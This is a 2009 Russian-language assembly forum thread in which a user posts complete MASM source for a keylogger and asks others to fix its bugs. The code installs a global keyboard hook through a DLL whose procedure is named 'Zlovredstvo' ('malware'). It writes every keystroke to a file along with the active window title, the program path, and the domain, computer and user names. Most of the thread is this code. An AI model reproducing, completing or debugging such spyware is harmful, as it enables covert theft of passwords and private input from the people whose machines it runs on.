Клавиатурный хук! Нужна помощь в поиске ошибок в коде

Тема в разделе "WASM.BEGINNERS", создана пользователем CroCop, 7 дек 2009.

  1. CroCop

    CroCop New Member

    Публикаций:
    0
    Регистрация:
    19 окт 2009
    Сообщения:
    23
    Всем доброго времени суток. Решил написать клавиатурный шпион(опирался на вырезки из готового примера,но делал на память(прочитал пару раз и сел за делj))
    Вот код:
    .exe,ставящий хук:
    Код (Text):
    1. .386
    2. .model flat, stdcall  ;32 bit memory model
    3. option casemap :none  ;case sensitive
    4.  
    5. include kurs.inc
    6.  
    7. .code
    8.  
    9. start:
    10.     invoke LoadLibrary,ADDR LibName
    11.     mov hLib,eax
    12.     invoke GetProcAddress,hLib,ADDR FunctionName
    13.     mov ZlovredstvoAddr,eax
    14.     invoke SetWindowsHookEx,WH_KEYBOARD,ZlovredstvoAddr,hLib,0
    15.     mov hHook,eax
    16.     invoke Sleep,50000
    17.     ;invoke UnhookWindowsHookEx,hHook
    18.     invoke ExitProcess,NULL
    19.  
    20. end start
    вот сама dll:
    Код (Text):
    1. .486
    2. .model flat,stdcall
    3. option casemap:none
    4. extern fprintf:NEAR
    5. extern fflush:NEAR
    6. extern fopen:NEAR
    7. extern fclose:NEAR
    8.  
    9. include HookDLL.inc
    10.  
    11.  
    12.  
    13.  
    14. .code
    15.  
    16.  
    17. DllEntry proc hInst:HINSTANCE, reason:DWORD, reserved1:DWORD
    18.     mov eax, hInst
    19.     mov hInstance, eax
    20.     .if reason==DLL_PROCESS_ATTACH      ;подключение процесса к библиотеке (загрузка ее в адресное пространство процесса)
    21.         ;необходимо открыть файл,куда будут заноситься данные
    22.         ;invoke CreateFile,ADDR fileName,GENERIC_READ or GENERIC_WRITE,FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,CREATE_NEW,FILE_ATTRIBUTE_ARCHIVE,NULL
    23.         push offset fileaccess
    24.         push offset fileName
    25.         call fopen
    26.         add esp,8
    27.         mov hFile,eax;запоминаем хендл открытого нами файла
    28.     .elseif reason==DLL_PROCESS_DETACH  ;отключение процесса от библиотеки (выгрузка ее из адресного пространства процесса)
    29.         ;надо завершить работу с открытым файлом
    30.         push hFile
    31.         call fclose
    32.         add esp,04
    33.         ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL
    34.     .endif
    35.     mov eax, TRUE
    36.     ret
    37. DllEntry Endp
    38.  
    39. Zlovredstvo proc nCode:DWORD, wParam:WPARAM, lParam:LPARAM
    40.  
    41.  
    42.     ;Параметр wParam в обработчике хука WH_KEYBOARD содержит виртуальный код клавиши (например, VK_F1, VK_RETURN, VK_LEFT). Параметр lParam расшифровывается следующим образом:
    43.         ;* Биты 0-15 содержат количество повторений нажатой клавиш ив случае залипания.
    44.         ;----->;* Биты 16-23 содержат скан код нажатой клавиши. Это аппаратно зависимый код, который зависит от конкретной клавиатуры.
    45.         ;* Бит 24 равен единице, если нажатая клавиша является расширенной (функциональной или на цифровой клавиатуре), иначе 0.
    46.         ;* Биты 25-28 зарезервированы.
    47.         ;* Бит 29 выставлен, если нажата кнопка Alt.
    48.         ;* Бит 30 говорит нам о состоянии клавиши до отправки сообщения. Бит равен единице если до этого кнопка до отправки сообщения нажата, если кнопка была до этого не нажата, то бит равен нулю.
    49.         ;* Бит 31 говорит о текущем состоянии клавиши. Он равен нулю, если кнопка в нажатом состоянии, и единица, если в не нажатом состоянии.
    50.  
    51.     LOCAL lpKeyState[256] :BYTE
    52.     LOCAL lpClassName[64] :BYTE
    53.     LOCAL lpCharBuf[32]   :BYTE
    54.     LOCAL lpDateBuf[12]   :BYTE
    55.     LOCAL lpTimeBuf[12]   :BYTE
    56.     LOCAL lpLocalTime     :SYSTEMTIME
    57.    
    58.    
    59.  
    60.     lea edi,[lpKeyState]
    61.     push 256/4
    62.     pop ecx
    63.     xor eax,eax
    64.     rep stosd
    65.    
    66.    
    67.     invoke GetForegroundWindow
    68.     cmp [hCurrentWindow],eax
    69.     je NoWindowChange
    70.     mov [hCurrentWindow],eax
    71.    
    72.     lea esi,[lpClassName]
    73.     invoke GetClassName,[hCurrentWindow],esi,64
    74.    
    75.     invoke GetLocalTime,ADDR lpLocalTime
    76.    
    77.  
    78.     invoke GetDateFormat,NULL,NULL,ADDR lpLocalTime,ADDR hDateFormat,ADDR lpDateBuf,12
    79.     invoke GetTimeFormat,NULL,NULL,ADDR lpLocalTime,ADDR hTimeFormat,ADDR lpTimeBuf,12
    80.    
    81.    
    82.     lea esi,[hCurrentThreadPID]
    83.     mov eax,[hCurrentWindow]
    84.     invoke GetWindowThreadProcessId,eax,esi
    85.     invoke CreateToolhelp32Snapshot,TH32CS_SNAPMODULE,hCurrentThreadPID
    86.     mov hSnapShot,eax
    87.    
    88.     mov hModul.dwSize,sizeof MODULEENTRY32
    89.     invoke Module32First,[hSnapShot],offset hModul
    90.     invoke CloseHandle,[hSnapShot]
    91.    
    92.     lea esi,[lpKeyState]
    93.     invoke GetWindowText,[hCurrentWindow],esi,256
    94.     ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL
    95.    
    96.  
    97.     push offset hModul.szExePath;путь
    98.     lea esi,[lpTimeBuf]
    99.     push esi
    100.     lea esi,[lpDateBuf]
    101.     push esi
    102.     pushz 13,10,"[ %s, %s - Program:%s]",13,10
    103.     push [hFile]
    104.     call fprintf
    105.     add esp,3*4
    106.    
    107.     lea esi,[lpClassName]
    108.     push esi
    109.     lea esi,[lpKeyState]
    110.     push esi
    111.     pushz 13,10,"[Window Title:%s - Window Class:%s]",13,10
    112.     push [hFile]
    113.     call fprintf
    114.    
    115.     ;записали
    116.    
    117.     mov hBuffer,128
    118.     invoke GetComputerNameEx,1,offset hDomaineName,offset hBuffer
    119.     mov hBuffer,32
    120.     invoke GetComputerNameEx,0,offset hComputerName,offset hBuffer
    121.     mov hBuffer,32
    122.     invoke GetUserName,offset hUserName,offset hBuffer
    123.    
    124.     push offset hUserName
    125.     push offset hComputerName
    126.     push offset hDomaineName
    127.     pushz "[   Domain:%s - Computer:%s - User:%s]",13,10
    128.     push [hFile]
    129.     call fprintf
    130.     add esp,3*4
    131.    
    132.     push [hFile]
    133.     call fflush
    134.     add esp,4
    135.    
    136.     ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL
    137.     NoWindowChange:
    138.     ;mov esi,[lParam]
    139.     ;lodsd
    140.  
    141.     .if wParam==VK_SHIFT || wParam==VK_CAPITAL;
    142.         jmp NextHook
    143.     .elseif wParam==VK_ESCAPE || wParam==VK_BACK || wParam==VK_TAB
    144.         ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL
    145.         jmp GetNameKey
    146.     .endif
    147.    
    148.    
    149.    
    150.    
    151.     lea edi,[lpCharBuf]
    152.     push 32/4
    153.     pop ecx
    154.     xor eax,eax
    155.     rep stosd
    156.     ;
    157.     lea ebx,[lpKeyState]
    158.     invoke GetKeyboardState,ebx;копируем статус 256 виртуальных ключей в определенный буфер(в lpKeyState,на начало которого указывает ebx)
    159.     ;надо бы определить нажаты ли клавиши Shift и CapsLock
    160.     invoke GetKeyState,VK_LSHIFT
    161.     xchg esi,eax
    162.     invoke GetKeyState,VK_RSHIFT
    163.     or eax,esi;смотрим нажата ли клавиша Shift(если нажата,то al=1)
    164.     mov byte ptr[ebx+16],al
    165.     ;аналогичное дейтвие с клавишей CapsLock
    166.     invoke GetKeyState,VK_CAPITAL
    167.     mov byte ptr[ebx+20],al
    168.    
    169.    
    170.     mov esi,[lParam]
    171.     lea edi,[lpCharBuf]
    172.     lodsd
    173.     lodsd;закидываем в eax сканкод нажатой клавиши(берется из lParam)
    174.     invoke ToAscii,wParam,eax,ebx,edi,00h;записываем в буфер значение нажатой клавиши.
    175.     test eax,eax;если удалось перевести
    176.     jnz test_carriage_return
    177.        
    178.     GetNameKey:
    179.     lea edi,[lpCharBuf]
    180.     invoke GetKeyNameText,lParam,edi,32
    181.     push edi
    182.     pushz "[%s]"
    183.     jmp WriteToFile
    184.     test_carriage_return:
    185.     push edi
    186.     pushz "%s"
    187.     cmp byte ptr[edi],0dh
    188.     jne WriteToFile
    189.     mov byte ptr[edi+1],0ah
    190.     WriteToFile:
    191.    
    192.     push [hFile]
    193.     call fprintf
    194.     add esp,2*4
    195.     push [hFile]
    196.     call fflush
    197.     add esp,4
    198.     NextHook:;передача управления хуку,стоящему после установленного нами хука
    199.    
    200.     invoke CallNextHookEx,0,[nCode],[wParam],[lParam]
    201.     ;invoke MessageBox,NULL,offset lpText,offset lpCaption,NULL
    202.     ret
    203. Zlovredstvo endp
    204.  
    205. End DllEntry
    Ну и соответственно баги,которые я не могу никак исправить:
    1)обрабатывает почему-то не все клавиши
    2)завершает запись,после записи одной клавиши

    Жду помощи знатоков.
     
  2. valterg

    valterg Active Member

    Публикаций:
    0
    Регистрация:
    19 авг 2004
    Сообщения:
    2.105
    Я хоть теоретик, но истину, что нельзя делать "тяжелые" операции в программах обработки прерываний(и хуков тоже) никто не отменял. Классика здесь такая : быстренько все пишем в буфер и в фоне этот буфер потихоньку пишем в файл. В принципе конечно fprintf не очень тяжелая, но уж fflush - наверняка.
     
  3. CroCop

    CroCop New Member

    Публикаций:
    0
    Регистрация:
    19 окт 2009
    Сообщения:
    23
    valterg,
    спасибо за совет.
    Но не думаю,что это решит описанные мной проблемы.
     
  4. CroCop

    CroCop New Member

    Публикаций:
    0
    Регистрация:
    19 окт 2009
    Сообщения:
    23
    Все,нашел решение проблем. Всем спасибо)))
    Тему можно закрыть.
     
  5. Levmetall

    Levmetall New Member

    Публикаций:
    0
    Регистрация:
    6 дек 2009
    Сообщения:
    21
    Не надо закрывать! Скажи, в чем была проблема?
    Мне оч интересно!